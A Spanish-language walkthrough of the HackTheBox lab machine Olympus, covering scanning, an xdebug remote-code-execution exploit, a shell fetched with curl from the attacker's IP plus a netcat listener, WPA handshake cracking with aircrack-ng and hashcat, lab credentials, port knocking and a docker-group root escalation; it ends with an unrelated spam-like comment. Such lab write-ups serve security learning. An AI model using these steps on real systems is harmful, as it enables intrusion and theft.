En este post haremos la máquina Olympus de HackTheBox.
Es una maquina Linux de un nivel medio y una de mis favoritas.
Además aprovecho para agradecer el trabajo que le puso a esta maquina nuestro compañero de equipo @OscarAkaElvis
Mi nick en HackTheBox es: manulqwerty
Si tenéis alguna proposición o corrección no dudéis en dejar un comentario, así aprendemos todos.
Write-Up
Enumeración
Como siempre, lo primero sera un escaneo de todos los puertos con nmap:
nmap -p- -T4 10.10.10.83 nmap -sC -sV -p22,53,80,2222 10.10.10.83
Parece que tenemos un DNS server en el puerto 53, por ahora no tenemos información o dominio al que acceder.
Vamos a revisar la web:
Para enumerar posibles vulnerabilidades usaremos Nikto:
nikto -host http://10.10.10.83
Parece que tiene xdebug activado, que se usa para debuggear php durante el desarrollo del servidor, pero que no debe usarse en un servidor de producción.
Googleamos sobre vulnerabilidades que esto puede causar y encontramos un repositorio con el que parece que podemos obtener shell:
https://github.com/vulhub/vulhub/tree/master/php/xdebug-rce
Explotación
Vamos a explotarlo:
./xdebug-shell.py -u http://10.10.10.83 # Subimos una shell; desde la shell obtenida: curl -O http://miIp/shell.php # Ponemos la escucha y ejecutamos el php que acabamos de subir nc -lvp 1234 curl http://10.10.10.83/shell.php
Post-Explotación
Una vez hemos entrado vemos que estamos en un docker, porque en la ruta / se encuentra un fichero .dockerenv
En /home/zeus/airgeddon/captured encontramos un fichero .cap, vamos a pasarlo a nuestra maquina a ver si podemos crackearlo.
Para crackear el fichero .cap vamos enseñar dos métodos:
Método 1 – Aircrack
aircrack-ng -a2 -w /usr/share/wordlists/rockyou.txt captured.cap
Tras casi 8 minutos:
Método 2 – Hashcat
# Convertimos el .cap en .hccapx con: https://hashcat.net/cap2hccapx/ hascat -m 2500 -a 0 captured.hccapx /wordlists/rockyou.txt
Tras un 1 y 7 segundos:
Como veis Hashcat es bastante más rápido, pero bueno en ambos casos hemos obtenido:
Too_cl0se_to_th3_Sun:flightoficarus
Tras varias pruebas encontramos unas credenciales validas para el SSH del puerto 2222:
icarus:Too_cl0se_to_th3_Sun
ssh [email protected] -p 2222
En /home/icarus/help_of_the_gods.txt leemos:
Este fichero nos muestra un nombre de dominio, vamos a usar dnsrecon para obtener mas información:
dnsrecon -d ctfolympus.htb -n 10.10.10.83
La ejecución de este comando nos devuelve algo interesante: tres números enteros, un nombre de usuario y una contraseña; nada más ver los tres números pensamos en port knocking:
knock 10.10.10.83 3456 8234 62431 && ssh [email protected] #Password: St34l_th3_F1re!
Parece que ya hemos salido de los dockers, además vemos que estamos en el grupo docker:
Ejecutando el LinEnum.sh o con el siguiente comando obtenemos información interesante de los docker:
docker --version 2>/dev/null; docker ps -a 2>/dev/null
Tras buscar algo de información sobre como explotar esto, encontramos que podemos acceder como root:
docker run -v /:/root -i -t olympia /bin/bash
Every weekend i used to go to see this web page, because i wish
for enjoyment, since this this web page conations in fact
good funny data too.